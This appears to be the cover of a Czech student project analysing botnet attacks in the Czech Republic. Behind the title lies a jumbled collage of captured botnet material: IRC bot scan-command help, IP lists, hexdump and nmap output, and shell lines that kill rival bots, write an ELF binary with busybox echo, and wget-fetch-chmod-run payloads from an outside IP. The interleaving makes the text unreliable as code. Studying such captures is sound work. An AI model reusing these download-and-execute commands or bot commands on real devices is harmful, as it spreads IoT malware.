rocnikovy_projekt_pe..

PRIVMSG %s :* *** Scan Commands
PRIVMSG %s :* .advscan <a> <b>
<user> <passwd>
- scan with user:pass (A.B) classes sets by you
PRIVMSG %s :* .advscan <a> <b>
- scan with d-link config reset bug
PRIVMSG %s :* .advscan->recursive
<user> <pass>
- scan local ip range with user:pass, (C.D) classes random
PRIVMSG %s :* .advscan->recursive
- scan local ip range with d-link config reset bug
PRIVMSG %s :* .advscan->random
<user> <pass>
- scan random ip range with user:pass, (A.B) classes random
PRIVMSG %s :* .advscan->random
- scan random ip range with d-link config reset bug
PRIVMSG %s :* .advscan->random->b
<user> <pass>
- scan local ip range with user:pass, A.(B) class random
PRIVMSG %s :* .advscan->random->b
- scan local ip range with d-link config reset bug
PRIVMSG %s :* .stop
- stop current operation (scan/dos)
/var/volatile/yf9N9iiheyI
/var/volatile/yf9N9iiheyI 5.104.224.215 61050 5.104.224.215 /klr.mps /var/volatile/Jt0w
178.119.83.159
ulimit -n 4096
218.90.207.116
/var/volatile/Jt0w 5.104.224.215:61056
88.249.233.206
/var/volatile/yf9N9iiheyI 5.104.224.215 61050 5.104.224.215 /mr.mps /var/volatile/Jt0w
178.203.9.120
ulimit -n 4096
117.117.186.49
/var/volatile/Jt0w 93.174.95.67:3335
178.235.84.223
first_attack=`cat $2 | grep "TIME" | head -1 | awk '{ORS=" "; for(i=2;i<=4;i++) print $i;print "\n"}'`
178.162.3.195
last_attack=`cat $2 | grep "TIME" | tail -1 | awk '{ORS=" "; for(i=2;i<=4;i++) print $i;print "\n"}'`
178.253.55.129
uniq_ip=`cat $2 | grep "Connection from" | awk {'print $3'} | cut -d ":" -f1 | uniq | wc -l`
178.67.150.229
lines=`cat $2 | grep "Connection from" | wc -l
D Á S T Tvrdé Y CH `
178.24.97.47
190.84.233.254
killall httpp1
sleep 3;
178.10.204.18
killall https1
iptables -A INPUT -p tcp --dport 23 -d 192.168.0.0/16 -j ACCEPT
66.240.192.138
killall a
iptables -A INPUT -p tcp --dport 23 -d 10.0.0.0/8 -j ACCEPT
killall mi
186.67.119.150
iptables -A INPUT -p tcp --dport 23 -d 169.0.0.0/8 -j ACCEPT
killall m
88.245.14.202
killall s
sleep 1;
178.24.97.47
killall p
178.116.174.181
killall mipbox-wget -c http://178.79.183.247/emme -P /var/run && chmod +x /var/run/emme && /var/run/emme
178.116.127.138
wget -c ${REFERENCE_HTTP}/${REFERENCE_MIPSEL} -P /var/run && chmod +x /var/run/${REFERENCE_MIPSEL} && /var/run/${REFERENCE_MIPSEL} 178.206.48.71
wget -c ${REFERENCE_HTTP}/${REFERENCE_MIPS} -P /var/run && chmod +x /var/run/${REFERENCE_MIPS} && /var/run/${REFERENCE_MIPS}
178.191.209.234
wget -c ${REFERENCE_HTTP}/${REFERENCE_ARM} -P /var/run && chmod +x /var/run/${REFERENCE_ARM} && /var/run/${REFERENCE_ARM}
178.116.81.115
wget -c ${REFERENCE_HTTP}/${REFERENCE_PPC} -P /var/run && chmod +x /var/run/${REFERENCE_PPC} && /var/run/${REFERENCE_PPC}
wget -c ${REFERENCE_HTTP}/${REFERENCE_SUPERH} -P /var/run && chmod +x /var/run/${REFERENCE_SUPERH} && /var/run/${REFERENCE_SUPERH} 190.230.170.102
wget -c http://$IP/cl -P /var/run && chmod +x /var/run/cl && /var/run/cl
178.9.250.53
178.117.132.89
178.10.204.18
178.117.226.109
0013ba0 1749 b268 10ad cd52 2052 3dcb 9644 0b18 /bin/busybox echo -ne \\x0\\x0\\x1F\\x0\\x0\\x0\\x0
178.203.9.120
0013bb0 0117 1800 589e dfa3 260c 0a08 7d40 92d0 \\x2E\\x73\\x68\\x73\\x74\\x72\\x74\\x61\\x62\\x0\
112.2.219.57
0013bc0 2cf6 0381 00c0 4670 130c e265 666c 2400 \x2E\\x72\\x65\\x67\\x69\\x6E\\x66\\x6F\\x0\\x2E\\x74
178.203.9.120
0013bd0 0954 9314 6fe2 36c2 bd34 8005 9d84 192d \\x65\\x78\\x74\\x0\\x2E\\x72\\x6F\\x64\\x61\\x74\\x61 178.132.101.168
0013be0 4ab0 4d49 6454 203a c349 2655 03a7 0663 \\x0\\x2E\\x64\\x61\\x74\\x61\\x0\\x2E\\x67\\x6F\\x74
178.116.127.138
0013bf0 d873 741e f041 8a45 c1ee 51f9 2680 b02a \\x0\\x2E\\x73\\x62\\x73\\x73\\x0\\x2E\\x62\\x73\\x73\ 178.92.245.52
0013c00 c546 bc48 840a a58c 9619 9222 1e8c 6461 \x0\\x2E\\x6D\\x64\\x65\\x62\\x75\\x67\\x2E\\x61\\x62\ 178.119.83.159
0013c10 1064 c5fd 5980 6dc2 18b4 f4a3 4209 0f66 \x69\\x33\\x32\\x0\\x2E\\x70\\x64\\x72\\x0\\x0\\x0\\x0 178.17.206.170
0013c20 7370 0077 c092 6c8b 460d 447d c1a8 866a \\x0\\x0\\x0\\x0\\x0\\x0\\x0\\x0\\x0\\x0\\x0\\x0\\x0\
178.116.174.181
0013c30 fa69 2211 0419 e009 4165 15ac 8826 540b \x0 >> /var/volatile/yf9N9iiheyI && /bin/busybox
178.158.207.211
0013c40 7206 47a1 240c 6a33 547f 736b 6d75 3558 echo -e \\x45\\x52\\x4E\\x41/
178.203.9.120
0013c50 2418 9188 9008 b06a 17a5 a166 aa5c c575 echo "kriminálka neni hned tak někdo, jako jó"
178.24.97.47
0013c60 58b7 4dc4 015f 3a80 9b60 73f7 1100 5581
178.143.3.195
0013c70 cb20 54d3 0d92 068b 5302 f068 746e 0072
178.165.79.86
0013c80 1a85 a6b2 70f8 006e d048 5845 08f5 e8a3
14.208.235.81
0013c90 052b c861 b06a 4068 e696 17e1 0802 a608
178.82.72.237
0013ca0 15a8 0461 3ea6 2a57 22b2 6615 2172 e2ad
178.174.156.99
0013cb0 c16d 42ec 0015 7e80 6e90 6d75 dcb2 5710
116.231.103.113
0013cc0 a817 4b17 6c61 2051 216d 141d e280 5fc4
213.179.252.123
0013cd0 c295 6f84 e294 0cbb 14ac fd96 4320 417a
178.82.34.213
0013ce0 cb84 48a2 e22a c100 19e5 a8cd 3ebe 8400
106.80.121.40
0013cf0 0610 0400 2bfd 8600 0a5b 0dc3 8311 5fbc
118.22.249.65
0013d00 5fa2 2fcc 8045 aa2f a692 1951 3f3c 6200
79.16.234.153
0013d10 6b72 5000 1284 a422 019e db42 2008 4571
86.125.40.126
0013d20 375e 1008 90b4 8c41 676c 6c23 c561 7875
116.227.62.250
0013d30 e848 1008 c41d 8521 a8b1 9b40 4a7c dec0
178.17.193.115
0013d40 699e 6163 cb74 00d7 4492 a201 696a 39cd
178.48.176.60
0013d50 1f58 29bb 6172 6ca2 8d40 0234 0647 dc8c
178.82.72.237
0013d60 02ac 4af0 372c 3007 1200 2bab 30a1 c159
125.118.135.59
0013d70 3012 b1b7 7388 0d83 4022 4c64 a422 0cf7
178.18.172.88
0013d80 2548 c220 545c 1b62 1430 6346 a001 6593
178.254.73.197
0013d90 6010 203e caa4 8335 7647 6f8c 3a11 846c
178.174.236.218
0013da0 2dd2 2de2 b010 ba52 e008 bd2c 64cd 3369
0013db0 9708 7007 69d4 8164 8180 0da8 0e16 4b62
0013dc0 1144 ad24 1987 73f1 7274 1200 0112 9282
Completed Ping Scan at 12:59, 0.27s elapsed (1 total hosts)
0013dd0 2469 bf12 723e 6165 0a74 25c2 6011 e8f4
Initiating Parallel DNS resolution of 1 host. at 12:59
0013de0 6c72 9a43 8440 8021 f030 5652 9522 c044
Completed Parallel DNS resolution of 1 host. at 12:59, 0.48s elapsed
0013df0 8105 d45b 5709 c920 55c3 7b9a 6689 0424
Initiating Connect Scan at 12:59
0013e00 d624 922a ee80 726c 6fc4 2670 a906 012f
Scanning 50.3.116.59 [1000 ports]
0013e10 2611 1088 31d2 b159 8428 25dd 6416 660f
Discovered open port 80/tcp on 50.3.116.59
0013e20 726f 6ba4 0f04 6f74 6140 7260 0a77 7010
Discovered open port 22/tcp on 50.3.116.59
0013e30 e5de 1e90 739c 1974 6052 a924 732e b129
0013e40 0524 80e2 ed24 8501 ac72 73e2 0065 fe8c
ANALÝZA
BOTNET ÚTOKŮ
NA ÚZEMÍ ČR
Všechna zařízení v kyberprostoru jsou cílem útoků.
Jak těžké je hacknout počítač?
Co je cílem hackerů?
Jak jsou úspěšní?
Je možné se bránit?
Alex
Peterka
1E